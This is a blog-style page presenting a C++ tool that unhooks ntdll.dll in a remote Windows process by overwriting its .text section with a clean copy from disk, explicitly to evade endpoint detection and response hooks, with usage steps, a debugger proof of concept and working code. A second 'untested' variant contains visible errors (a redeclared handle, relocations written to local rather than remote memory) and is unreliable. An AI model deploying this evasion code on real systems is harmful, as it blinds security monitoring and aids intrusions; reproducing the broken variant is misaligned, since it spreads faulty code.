Full Remote DLL Unhooking

Unhook DLLs in a remote process

DLL unhooking is a methodology employed to circumvent detection by endpoint detection and response (EDR) systems. EDRs employ hooks within DLLs that contain Windows API functions to monitor for malicious activity. A comprehensive catalog of EDR hooks is readily accessible at Mr-Un1k0d3rs Github.

Usage

std::string dllName = "ntdll.dll"
int pid = [Code to get process ID of any function]
remoteunhook(dllName, int pid)

POC

  1. Open x64dbg.exe and attach it to the target process (ex. procexp64.exe)

  2. Identify a hooked function, I will search for "ZwMapViewOfSection":

Find ZwMapViewOfSection
E9? Hooked
  1. E9 indicates ZwMapViewOfSection is hooked. Unhooked ntdll functions are expected to return have BX.

  2. Detach x64dbg.exe and execute the remote dll unhooking tool against the remote process.

  3. Re-attach x64dbg.exe and return to the ZwMapViewOfSection

  4. If successful, there will be a BX value instead of E9

B8!

NOTE

The code below will only work with NTDLL.DLL, according to the research where I got the main base of this code from, ntdll doesn't need image base relocations. I have experimental code I have been working on at the bottom of this article but it has no been tested as I am still learning as I go!

Code

int remoteunhook(std::string dllName, int pid) {
	std::string path = "c:\\windows\\system32\\";
	HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	MODULEINFO mi = {};
	HMODULE dllModule = GetModuleHandleA(dllName.c_str());
	GetModuleInformation(process, dllModule, &mi, sizeof(mi));
	LPVOID dllBase = (LPVOID)mi.lpBaseOfDll;
	HANDLE dllFile = CreateFileA(path.append(dllName).c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE dllMapping = CreateFileMapping(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID dllMappingAddress = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0);
	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)dllBase;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + hookedDosHeader->e_lfanew);
	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtectEx(process,(LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
			SIZE_T bytesWritten = 0;
			WriteProcessMemory(process,(LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)dllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, &bytesWritten);
			isProtected = VirtualProtectEx(process,(LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
		}
	}
	CloseHandle(process);
	CloseHandle(dllFile);
	CloseHandle(dllMapping);
	FreeLibrary(dllModule);
	return 0;
}

UNTESTED CODE:

I don't fully understand everything about PE files yet. This is code that I developed with a lot of research and asking ChatGPT what was wrong with my code LOL. USE AT OWN RISK.

int unhook(std::string test, HANDLE deez) {

	// Set DLL path
	std::string path = "c:\\windows\\system32\\";

	// Open handle to remote process
	HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessId(deez));

	// Get module information for the DLL to unhook.
	MODULEINFO mi = {};
	HMODULE dllModule = GetModuleHandleA(test.c_str());
	GetModuleInformation(process, dllModule, &mi, sizeof(mi));

	// Get handle to file and create mapping to DLL.
	LPVOID dllBase = (LPVOID)mi.lpBaseOfDll;
	HANDLE dllFile = CreateFileA(path.append(test).c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE dllFile = CreateFileMapping(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID dllFileAddress = MapViewOfFile(dllFile, FILE_MAP_READ, 0, 0, 0);

	// Get header information for the DLL.
	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)dllBase;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + hookedDosHeader->e_lfanew);

	// Loop through the sections in the DLL.
	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

		// If the section is .text, change its protection, write the DLL to memory, and update its relocation entry.
		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtectEx(process, (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_READWRITE, &oldProtection);
			SIZE_T bytesWritten = 0;
			WriteProcessMemory(process, (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)dllFileAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, &bytesWritten);
			
			// NTDLL doesn't need image base relocation
			if (test != "ntdll.dll") {
				PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)dllBase + hookedNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
				DWORD relocationSize = hookedNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;

				while (relocationSize > 0) {
					DWORD relocationCount = (baseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
					PWORD relocationData = (PWORD)((DWORD_PTR)baseRelocation + sizeof(IMAGE_BASE_RELOCATION));

					// Update the relocation entries.
					for (DWORD j = 0; j < relocationCount; j++) {
						if ((*relocationData >> 12) == IMAGE_REL_BASED_HIGHLOW) {
							DWORD_PTR entryAddress = (DWORD_PTR)dllBase + baseRelocation->VirtualAddress + (*relocationData & 0xFFF);
							int delta = (int)((DWORD_PTR)dllBase - hookedNtHeader->OptionalHeader.ImageBase);

							// Update the relocation entry
							*((ULONGLONG*)entryAddress) += delta;
						}
						relocationData++;
					}

					relocationSize -= baseRelocation->SizeOfBlock;
					baseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)baseRelocation + baseRelocation->SizeOfBlock);
				}
				break;
			}
			// Change memory back to its normal protection
			isProtected = VirtualProtectEx(process, (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
		}
	}



	// Close handles and free memory
	CloseHandle(process);
	CloseHandle(dllFile);
	CloseHandle(dllFile);
	FreeLibrary(dllModule);

	return 0;

}

Contribution Credit

mantvydasb - Blog Post with original code - Github & Twitter - For the codebase that I used to make this project Mr-Un1k0d3r - For the EDR hook research

Last updated